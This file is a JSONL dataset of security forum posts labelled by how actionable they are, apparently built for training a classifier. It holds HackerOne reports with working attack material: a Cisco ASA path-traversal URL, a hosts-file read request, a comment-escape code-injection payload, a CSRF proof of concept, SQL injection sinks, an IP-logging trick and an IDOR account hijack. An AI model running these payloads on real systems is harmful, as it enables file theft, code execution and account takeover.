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-{"id": "a1435fa9372f0e2dc0d3", "text": "[Forced Browsing] Remote 0click exfiltration of Safari user's IP address\n\n> NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!\n\n**Summary:** A malicious actor when embedding content into Twitter content (for example, see this ████) can lookup the IP address of a user without the user consenting to loading the 3rd party domain.\n\n**Description:** When the user loads the page and doesn't click on any content Safari preloads the ad target domain (in this case ██████████). Using that, without the user tapping on the link, my server receives a TCP connection where I extract the IP and hostname of the victim. Using that information, I can lookup their approximate address, maybe spoof an IP in their city and spearphish one of their accounts, find their telco or ISP provider and use their twitter name to take over their account, many things are possible.\n\nThe problem is caused by use of remote domain links with preconnect.\n\n<link href=\"https://██████\" rel=\"preconnect\">\n<link href=\"//███████\" rel=\"preconnect\">\n\nI recommend a mitigation of removing preload and preconnect for 3rd party domains.\n\nThis has huge privacy and security implications. I can remotely extract a targeted user's IP address by sending them a email, text message, or just tweeting at them. They are not aware it happened, it doesn't show up in their browser history because the user doesn't tap on the 3rd party link.\n\nOnce you have mitigated this issue I will need to notify Apple.\n\n## Steps To Reproduce:\n\n(Add details for how we can reproduce the issue)\n\n  1. I send a targeted user a link to a tweet such as https://twitter.com/██████/status/███████\n2. They use Safari to open the link\n3. When the user mouses over the image on a mac (or scrolls the screen on an iPhone) Safari will connect to ████.\n4. My server lists out incoming TCP connections.\n\n## Impact:\n\nSilently exfiltrating a user's IP address remotely opens them up to lots of attacks. You may see an egg, but I see a gateway to spear phishing the user by initiating regular MITM attack (showing the login request from the same location as the user), I see it been useful to do an account takeover via their ISP or telco. I see it useful to know when a user is at home or at work, in some cases I can tell they work at a certain company. In the case of a popular streamer it opens them up to DDOS attacks by just clicking on a \"safe\" tweet. There are huge possibilities for doxxing individuals using this exploit.\n\nYou can also target an individual (for example an individual you know is in America somewhere) through twitter ads by adding 99 twitter handles from Japan, then the target twitter handle. That way, you know when your ad is shown if it is the target because they won't be in Japan.\n\nThe only thing to bring down the impact of this attack is it is macOS and iOS Safari only. But if you don't think this attack has high severity I can demonstrate more use cases.\n\n## Supporting Material/References:\n\n  * List any additional material (e.g. screenshots, logs, etc.)\n\nHere is a simple C server for logging incoming connections.\n\n```\n#include <netdb.h>\n/* --- server.c --- */\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n#include <sys/types.h>\n#include <time.h>\n\nint main(int argc, char *argv[])\n{\n\tint listenfd = 0, connfd = 0;\n\tstruct sockaddr_in serv_addr;\n\n\tchar sendBuff[1025];\n\ttime_t ticks;\n\n\t/* creates an UN-named socket inside the kernel and returns\n\t * an integer known as socket descriptor\n\t * This function takes domain/family as its first argument.\n\t * For Internet family of IPv4 addresses we use AF_INET\n\t */\n\tlistenfd = socket(AF_INET, SOCK_STREAM, 0);\n\tmemset(&serv_addr, '0', sizeof(serv_addr));\n\tmemset(sendBuff, '0', sizeof(sendBuff));\n\n\tserv_addr.sin_family = AF_INET;\n\tserv_addr.sin_addr.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fd3faab96745c5605b5c", "text": "[Privilege Escalation] EC2 subdomain takeover at http://████████/\n\nThere is a dangling DNS A record that points to an EC2 instance that no longer exists, I was able to claim the EC2 instance and host content on http://███████/.\n\n## Steps To Reproduce:\n\n  1. Visit http://█████████/██████████.html and view the PoC:  ██████\n\n\n## Suggested Remediation Steps\n\n  Remove the A record pointing to the current ec2 instance. \n\n## Impact\n\nHosting content on http://█████/ and potentionally fully bypassing web protections like CORS (in cases of `████████`) or redirecting users to malicious pages.\n\n## Impact\n\nHosting content on http://██████/ and potentionally fully bypassing web protections like CORS (in cases of `██████████`) or redirecting users to malicious pages,\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nVisit http://██████████/█████.html and view the PoC:  █████\n\n## Suggested Mitigation/Remediation Actions\nRemove the A record pointing to the current ec2 instance.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3729708a8fa739738f41", "text": "[Business Logic Errors] CVE-2022-32207: Unpreserved file permissions\n\n## Summary:\nCurl fails to preserve file permissions when writing:\n- `CURLOPT_COOKIEJAR` database\n- `CURLOPT_ALTSVC` database\n- `CURLOPT_HSTS` database\n\nInstead the permissions is always reset to 0666 & ~umask if the file is updated.\n\nAs a result a file that was before protected against read access by other users becomes other user readable (as long as umask doesn't have bit 2 set).\nOut of these files only the `CURLOPT_COOKIEJAR` is likely to contain sensitive information.\n\nIn addition curl will replace softlink to the database with locally written database, or if the application is run privileged, specifying `\"/dev/null\"` as a file name can lead to system overwriting the special file and result in inoperable system.\n\nThis is CWE-281: Improper Preservation of Permissions\n\n## Steps To Reproduce:\n\n  1.  `umask 022`\n  2.  `install -m 600 /dev/null cookie.db`\n  3. `curl -b cookie.db -c cookie.db https://google.com`\n  4.  `ls -l cookie.db`\n\nAt least for  `CURLOPT_COOKIEJAR` this vulnerability was introduced in https://github.com/curl/curl/commit/b834890a3fa3f525cd8ef4e99554cdb4558d7e1b - this change was introduced to fix a issue https://github.com/curl/curl/issues/4914\n\n## Fix recommendations\n\nIf a file file is created and moved over a the old one, only do this if the file is regular file. Anything else is likely going to end up causing unexpected behaviour, outright failing, or if the user has high enough permissions, damage to the operating system.\n\nSafe cloning of file permissions can only be achieved if the owner / group of the file match the current user (else group permissions might be incorrect). Hence creating a new file and moving it over the old one should IMO only be attempted if the file user and group match that of the previous file.\n\nIf a method of creating a new file is still desired, something like this could be attempted to cover the most use cases:\n\n ```\n  /* If old file is a regular file attempt creating a new file with same ownership */\n  struct stat st;\n  if (stat(filename, &st) != -1 && S_ISREG(st.st_mode)) {\n    FILE *file;\n    int fd;\n    struct stat nst;\n    fd = open(tempstore, O_CREAT | O_EXCL, 0700);\n    if (fd == -1)\n      goto fail;\n    if (fstat(fd, &nst) == -1 ||\n       nst.st_uid != st.st_uid || nst.st_gid != st.st_gid) {\n      /* newly created file doesn't have same ownership, we can't proceed safely */\n      close(fd);\n      unlink(tempstore);\n      goto fail; // or perhaps try direct write instead?\n     }\n    /* use same mode as old file */\n    if (fchmod(fd, st.st_mode) == -1) {\n      close(fd);\n      unlink(tempstore);\n      goto fail;\n    }\n    file = fdopen(fd, FOPEN_WRITETEXT);\n    if (!file) {\n      close(fd);\n      unlink(tempstore);\n      goto fail;\n   }\n   /* write to file */\n   /* if successful move file over filename etc */\n  }\n  else  {\n    /* use direct file write */\n  }\n ```\n\n## Impact\n\nLeak of sensitive information", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-32207"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ced4695ce3cd956062d5", "text": "[Path Traversal] [CVE-2020-3452] on ███████\n\nThe following subdomain is vulnerable to CVE-2020-3452, which is an unauthenticated file read in Cisco ASA & Cisco Firepower.\n\n#  URL:\nhttps://████/\n\n# Vulnerable URL:\nhttps://███/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\n██████████\n\n# Resources:\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86\n\n## Impact\n\nThe vulnerability could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-3452\n\n## Steps to Reproduce\n* Go to https://██████/+CSCOE+/logon.html\n* Intercept the request with Burpsuite\n* Send the request to Repeater\n* Change the URL path to the following `/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../as` an example to read \"/+CSCOE+/portal_inc.lua\" file.\n* You will get the portal_inc.lua file\n\n## Suggested Mitigation/Remediation Actions", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-3452"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "67372289d9a433efb183", "text": "greetings, I am looking for a laptop that has a build in wifi that has the capability of monitor/injection . I purchased a ALFFA AWUs036ACS wifi adapter and for the love god i cannot figure why it is not working with Kali Linux. I have search online for solutions but none so far has helped. So i am so frustrated that i would rather buy a laptop that has Kali with a working wifi out of the box", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2023-10-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4c7e8a6257bbfebf7529", "text": "[Code Injection] Synthetics Recorder: Code injection when recording website with malicious content\n\n## Summary\n\nHello team! Synthetics recorder has a `quote` function to escape user-controlled input, but in one particular scenario the escaping isn't enough and a malicious website can inject arbitrary code in the recorder session.\n\n## Description\n\nThe `waitForNavigation` event calls `quote` within the context of a multi-line comment (`/* ... */`) so we can break out of that without using the escaped characters ([reference](https://github.com/elastic/synthetics-recorder/blob/v0.0.1-beta.3/electron/syntheticsGenerator.ts#L217=))\n\nIn a normal situation the code generated looks like this for a navigation event to `https://example.com`\n\n```javascript\n    page.waitForNavigation(/*{ url: 'https://example.com' }*/),\n```\n\nbut it's possible to escape out of the comment without using single quotes (which would be escaped) with a specially crafted URL like `https://example.com?q=*/require(`child_process`).exec(`touch$IFS/tmp/haxx`)/*`\n\n```javascript\n    page.waitForNavigation(/*{ url: 'https://example.com?q=*/require(`child_process`).exec(`touch$IFS/tmp/dee-see`)/*' }*/),\n```\n\nThe syntax highlighting here on HackerOne helps visualizing how that works. `$IFS` is used because spaces get encoded to `%20`.\n\nIt's possible to have code execution when the victim uses the `test` feature inside of the synthetic recorder but the code we're allowed to use is fairly limited because the `require` function isn't available. The maximum impact is when the user saves the recorded session as a project and executes it using the synthetic runner.\n\n## Steps To Reproduce\n\n### Preparation\n\nInstall the synthetics recorder (See https://github.com/elastic/synthetics-recorder/, I'm following the instructions to run it in development mode (`nvm install; nvm use; npm install; npm run dev`) but you could also download the binary on the releases page)\n\n### Reproduction\n\n1. Start Synthetics Recorder and enter `http://deesee.xyz:4567` in the text box where it says \"Enter a Starting URL\"\n1. Click \"Start Recording\"\n1. A browser has opened, this website is a modified clone of my blog. Click the GitLab icon in the top right\n\n    {F1820934}\n\n1. Close the browser window\n\n    In a normal Synthetics Recorder session there would be much more steps to record but here we only did what's necessary to trigger the issue.\n\n1. Click the \"Export\" button and you'll see this code\n\n    ```javascript\n    step('Go to http://deesee.xyz:4567/', async () => {\n      await page.goto('http://deesee.xyz:4567/');\n      await Promise.all([\n        page.waitForNavigation(/*{ url: 'https://gitlab.com/dee-see?query=*/require(`child_process`).exec(`touch$IFS/tmp/dee-see`)/*' }*/),\n        page.click('[aria-label=\"GitLab\"] svg')\n      ]);\n    });\n    ```\n\n    We can see the payload is in place. It's fairly obvious because we only recorded one step, but in a long recording session it would be buried deeper.\n\n1. Click the \"Export\" button and save the file in a directory\n1. In that directory run `npm init -y; npm install @elastic/synthetics; npx @elastic/synthetics .`\n1. When the tests finished running observe that the `touch /tmp/dee-see` command ran\n\nThose last steps seem contrived, but that's how a synthetics test suite is setup and how a developer would make sure the session they just recorded would be integrated into their builds and whatnot.\n\n## Supporting Material/References:\n\n{F1820942}\n\n## CVSS\n\nConfidentiality and Integrity impact are High because of the arbitrary command execution. I also included Availability impact because those commands can shut down the system. I will concede though that Attack Complexity could be \"very high\" if that existed on the Attack Complexity scale. :)\n\n## Impact\n\nSomeone with control over the website's content can run arbitrary code where ever the synthetics recorded session will be re-executed.\n\nDeveloper computers and CI systems come to mind. The most realistic attack scenario would be privilege escalation from within a company.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "628965d7b308c6d9fa1f", "text": "It’s awesome that you’re diving into the world of Penetration Testing and tackling those CTF challenges. They can be mind-bending, right?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "51dc3d429d4301b21444", "text": "[Information Disclosure] The dashboard is exposed in https://███\n\n**Description:**\nAt first, hello, after searching in sub-domains, the dashboard was accessed by Google Dorking Which is supposed to be protected\nhttps://█████████l/arsys/forms/arpcp/ARPC%3AWeb%3AHier%3ADashboard/Default+Admin+View/?F536871388=1&mode=Submit&cacheid=c66791da\n\n## References\nhttps://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure\n\n## Impact\n\nCWE-200\nhttps://cwe.mitre.org/data/definitions/200.html\n\n## System Host(s)\n█████████l\n\n## Affected Product(s) and Version(s)\nwebsite\n\n## CVE Numbers\nCVE-2020-7130\n\n## Steps to Reproduce\nAfter searching in Google dorking on a file extension or endpoint jspDashboard found in the URL\nhttps://████████l/arsys/forms/arpcp/ARPC%3AWeb%3AHier%3ADashboard/Default+Admin+View/?F536871388=1&mode=Submit&cacheid=c66791da \n██████\n\n==Note==\n that it is leaked, you can log out and bypass it by typing anything in the ```username``` box\n\n## Suggested Mitigation/Remediation Actions\nCollect sensitive information on a local server and protect endpoints\n\n\n---------------------------------------\nWith best regards and love\nToni...", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-7130"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9949d3af940bda6f8f08", "text": "use the command tasklist as indicated in the question. you got the rest right (almost)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-12-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8acb9d8f9e08ac3f1b3e", "text": "Hi, How did you get the result of Harry is 1337?. What method did you used?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "78faf5e23069ae8cb2b1", "text": "[Open Redirect] Open Redirect on www.redditinc.com via `failed` query param\n\nhello dear support\n\nI have found the issue on https://www.redditinc.com/ama\n\nHTTP request \n\nPOST /ama HTTP/1.1\nContent-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw\nCookie: CRAFT_CSRF_TOKEN=958b77eaad06452d68f0be48c5edf5b0d928b51a6c4afbb5f2f95397f18b43e2a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22jZdkLxGgRNVPWIF2OyxH-Lig9pTukLSS8OxYOVST%22%3B%7D;OptanonAlertBoxClosed=2021-07-12T01:35:46.350Z;OptanonConsent=isIABGlobal=false&datestamp=Mon+Jul+12+2021+04%3A35%3A46+GMT%2B0300+(Arabian+Standard+Time)&version=6.13.0&hosts=&consentId=71f221d5-8a57-4a90-9844-0a863bfc837d&interactionCount=2&landingPath=NotLandingPage&groups=C0001%3A1%2CC0002%3A1%2CC0004%3A1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip,deflate\nContent-Length: 1508\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4298.0 Safari/537.36\nHost: www.redditinc.com\nConnection: Keep-alive\n\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"action\"\n\nzendesk/default/submit\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"agreement\"\n\nyes\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"description\"\n\n555\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"email\"\n\nsample@email.tst\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"email_confirm\"\n\nsample@email.tst\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"failed\"\n\nhttp://xfs.bxss.me\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"name\"\n\npHqghUme\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"organization\"\n\nAcunetix\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"participants\"\n\npHqghUme\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"redirect\"\n\n74bcbfb4f9c047fb4e467dd203ca3b30f2b31216551ab9db2bf44911c029d506thank-you/ama-form-step-1\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"subject\"\n\nAMA Request\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"success\"\n\nthank-you/ama-form-step-1\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"ticket_form_id\"\n\n360000307211\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"timeframe\"\n\nnext-week\n------------YWJkMTQzNDcw\nContent-Disposition: form-data; name=\"timezone\"\n\n(GMT-05:00) Eastern Time (US & Canada)\n------------YWJkMTQzNDcw--\n===============================================================\n\nvuln here :Content-Disposition: form-data; name=\"failed\"\n\nhttp://xfs.bxss.me\n------------YWJkMTQzNDcw\n\nCSRF PoC\n<html>\n  <!-- CSRF PoC - generated by Burp Suite Professional -->\n  <body>\n  <script>history.pushState('', '', '/')</script>\n    <form action=\"https://www.redditinc.com/ama\" method=\"POST\" enctype=\"multipart/form-data\">\n      <input type=\"hidden\" name=\"action\" value=\"zendesk&#47;default&#47;submit\" />\n      <input type=\"hidden\" name=\"agreement\" value=\"yes\" />\n      <input type=\"hidden\" name=\"description\" value=\"555\" />\n      <input type=\"hidden\" name=\"email\" value=\"sample&#64;email&#46;tst\" />\n      <input type=\"hidden\" name=\"email&#95;confirm\" value=\"sample&#64;email&#46;tst\" />\n      <input type=\"hidden\" name=\"failed\" value=\"http&#58;&#47;&#47;0bc7dpd4u9tmsh9ruo3n8644pvvlja&#46;burpcollaborator&#46;net\" />\n      <input type=\"hidden\" name=\"name\" value=\"pHqghUme\" />\n      <input type=\"hidden\" name=\"organization\" value=\"Acunetix\" />\n      <input type=\"hidden\" name=\"participants\" value=\"pHqghUme\" />\n      <input type=\"hidden\" name=\"redirect\" value=\"74bcbfb4f9c047fb4e467dd203ca3b30f2b31216551ab9db2bf44911c029d506thank&#45;you&#47;ama&#45;form&#45;step&#45;1\" />\n      <input type=\"hidden\" name=\"subject\" value=\"AMA&#32;Request\" />\n      <input type=\"hidden\" name=\"success\" value=\"thank&#45;you&#47;ama&#45;form&#45;step&#45;1\" />\n      <input type=\"hidden\" name=\"ticket&#95;form&#95;id\" value=\"360000307211\" />\n      <input type=\"hidden\" name=\"timeframe\" value=\"next&#45;week\" />\n    ", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dfc562a8d90a0f070475", "text": "[Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')] Race condition on https://judge.me/people\n\n##summary:An attacker can increase the followers of  the users of judge.me\n\nTools required : \n1.burpsuit\n2.turbo intruder\n\n##steps to reproduce:\n1.visit https://judge.me/people\n2.like a user and intercept the request\n3.now  send it to turbo intruder and configure the script to \n     race.py\n\n## Impact\n\nThe attacker can increase their followers in a bad way by creating fake followers", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c0aa4dc1ba51bf06e80e", "text": "[SQL Injection] GitHub Security Lab (GHSL) Vulnerability Report: SQLInjection in FileContentProvider.kt (GHSL-2022-059)\n\nThe [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [Owncloud Android app](https://github.com/owncloud/android).\n\nWe are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.\n\nIf at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `securitylab@github.com` (please include `GHSL-2022-059` or `GHSL-2022-060` as a reference).\n\nIf you are _NOT_ the correct point of contact for this report, please let us know!\n\n## Summary\n\nThe Owncloud Android app uses [content providers](https://developer.android.com/guide/topics/providers/content-provider-basics) to manage its data. The provider `FileContentProvider` has SQL injection vulnerabilities that allows malicious applications or users in the same device to obtain internal information of the app.\n\n## Details \n\nThe `FileContentProvider` provider is exported, as can be seen in the Android Manifest:\n\n[`AndroidManifest.xml:153`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/AndroidManifest.xml#L153)\n\n```xml\n<provider\n    android:name=\".providers.FileContentProvider\"\n    android:authorities=\"@string/authority\"\n    android:enabled=\"true\"\n    android:exported=\"true\"\n    android:label=\"@string/sync_string_files\"\n    android:syncable=\"true\" />\n```\nAll tables in this content provider can be freely interacted with by other apps in the same device. By reviewing the entry-points of the content provider for those tables, it can be seen that several parameters containing user input end up reaching an unsafe SQL method that allows for SQL injection.\n\n## The `delete` method\n\nUser input enters the content provider through the three parameters of this method:\n\n[`FileContentProvider.kt:85`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/providers/FileContentProvider.kt#L85)\n```kt\noverride fun delete(uri: Uri, where: String?, whereArgs: Array<String>?): Int {\n```\n\nThe `where` parameter reaches the following dangerous arguments without sanitization:\n\n[`FileContentProvider.kt:102`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/providers/FileContentProvider.kt#L102)\n\n```kt\nprivate fun delete(db: SQLiteDatabase, uri: Uri, where: String?, whereArgs: Array<String>?): Int {\n    // --snip--\n    when (uriMatcher.match(uri)) {\n        SINGLE_FILE -> {\n            // --snip--\n            count = db.delete(\n                ProviderTableMeta.FILE_TABLE_NAME,\n                ProviderTableMeta._ID +\n                        \"=\" +\n                        uri.pathSegments[1] +\n                        if (!TextUtils.isEmpty(where))\n                            \" AND ($where)\" // injection\n                        else\n                            \"\", whereArgs\n            )\n        }\n        DIRECTORY -> {\n            // --snip--\n            count += db.delete(\n                ProviderTableMeta.FILE_TABLE_NAME,\n                ProviderTableMeta._ID + \"=\" +\n                        uri.pathSegments[1] +\n                        if (!TextUtils.isEmpty(where))\n                            \" AND ($where)\" // injection\n                        else\n                            \"\", whereArgs\n            )\n        }\n        ROOT_DIRECTORY ->\n            count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs) // injection\n        SHARES -> count =\n            OwncloudDatabase.getDatabase(MainApp.appContext).shareDao().deleteShare(uri.pathSegments[1])\n        CAPABILITIES -> count = db.delete(ProviderTableMeta.CAPABILITIES_TABLE_NAME, where, whereArgs) // injection\n        UPLOADS -> count = db.delete(ProviderTableMeta.UPLOADS_TABLE_NAME, whe", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "42cf3104a0361c501f01", "text": "Hello, I’m stuck in Packet Inception, Dissecting Network Traffic With Wireshark. I have to connect to a target machine with Nomachine to launch Wireshark, but I can’t find the target IP. It is not shown in the connection instructions and all the IP I’ve tried in the Wireshark-Lab-2-Resources are not reachable from the Pwnbox. If someone could provide me some help it would be great. Regards,", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6bc6d187e2431848d482", "text": "[Cleartext Storage of Sensitive Information] Password disclosure in initial setup of Mail App\n\n## Summary:\nhttps://github.com/nextcloud/mail/issues/823\n\n## Steps To Reproduce:\nhttps://github.com/nextcloud/mail/issues/823\n\n## Impact\n\nComplete access to a IMAP account and possibly if the password is the same for the NC account, complete account control.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "264a13ece136183b79df", "text": "You have the ip address, you need the domain name - so dig it", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-09-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "11b9f0e239d8ec64975d", "text": "Thanks, I got this worked out yesterday using a different win32 class other than BIOS. I am not sure if that is the same thing that you are referring to as your answer is masked as it is too direct of an answer. Thanks for much for helping though!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "827b551eee34ea35e5f1", "text": "[Path Traversal] Directory Traversal at █████\n\nHi  DoD!\n\nI found directory traversal vulnerability at ████. I didn't find available title for this issue that's why I selected remote file inclusion.\n\n###  Host: ██████\n###  Vulnerability: Directory Traversal in Windows Server\n###  Tool Used: BurpSuite\n\n### Parameter:  ==path==\n\n###HTTP GET Request###\n==GET /File/Download?path=C:/WINDOWS/System32/drivers/etc/hosts==\n\n### Response\n\n███\n\n## Impact\n\nAttacker could read sensitive file in server\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nMake HTTP Request like that;\n\nGET /File/Download?path=C:/WINDOWS/System32/drivers/etc/hosts HTTP/1.1\nHost: ███\nCookie: .AspNetCore.Antiforgery.GupjSGuR2ZQ=CfDJ8GfYfRi9j8NNoBU6zVTpTKTbaG72CuADzxVVYVr9efssbxXYtgzCMF2H6PvdOcF0RxMExCsaObiVNuop1ouJa2Nb0k3z4KYTy2ih_nRbxREcZZo-3LBJPXq05kvRrRF6p02TakoqGzC6VUTdPRw-bo8; TimeZoneOffset=-240\nCache-Control: max-age=0\nSec-Ch-Ua: \"Chromium\";v=\"103\", \".Not/A)Brand\";v=\"99\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"macOS\"\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\n## Suggested Mitigation/Remediation Actions\nInput Validation for path parameter", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fdded81e98f09557c69e", "text": "image 1267×843 227 KB having similar issue, its taking longer than the time laps given for the ip and port needing help for mking the passlist", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-04-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f3bc9288a8f10cb04633", "text": "[Insecure Direct Object Reference (IDOR)] IDOR ' can change any account email and cannot retrieve his account and access it ' at https://www.miroyalcanin.cl/\n\nhi team\ni found IDOR , i can change any account email and he cannot retrieve his account and access it easily.\n\ni can't access to his account because url activation on new email don't work and give me error.\n\n```\nSyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data\n```\nbut hackers will be able to disable access users to their account on the site.\n\n  1. Go to registration page (https://www.miroyalcanin.cl/)\n  2. Verified your account.\n  3. Go to login page and login your account.\n\n\n For the fastly test, use this credentials to login (you can use this account attacker to send request to burp and test on victim's account's i was created) \n\n   * For Attacker\n\nyojikox125@raotus.com\nPassword\nidUsuario : 88795\n\n   * For Victim 1\n\nnomodab161@ippals.com\nPassword\nidUsuario : 88805\n\n   * For Victim 2\n\nhogev48627@hrisland.com\nPassword\nidUsuario : 88806\n\n   * For Victim 3\n\nrodevo8336@fitzola.com\nPassword\nidUsuario : 88807\n\ni access to my account victim and i go to edit my profil and send request to burp to get id user for this account ( my method of video for the attacker account is the same that i did on the victim account to get her id user ).\n\nso .. after login i go to edit my account attacker and send request to burp and send it to repeater .. i change my id to victim id and i change email to my new email and click send so i succeeded.\n\ni received an activation message on my new email i click on active url .. despite give me an error message when i click on the link activation\n```\nSyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data\n```\nthe change was made successfully and the victim cannot log into his account, as it will give him an error message when he logs in.\n\ni created +5 account victim for testing that and its worked, and can kids hackers to change the id user to anything like 10 or 100 or any number and change email this account for that id user.\n\nburp request\n```\nPOST /_post/usuario_actualizar.php 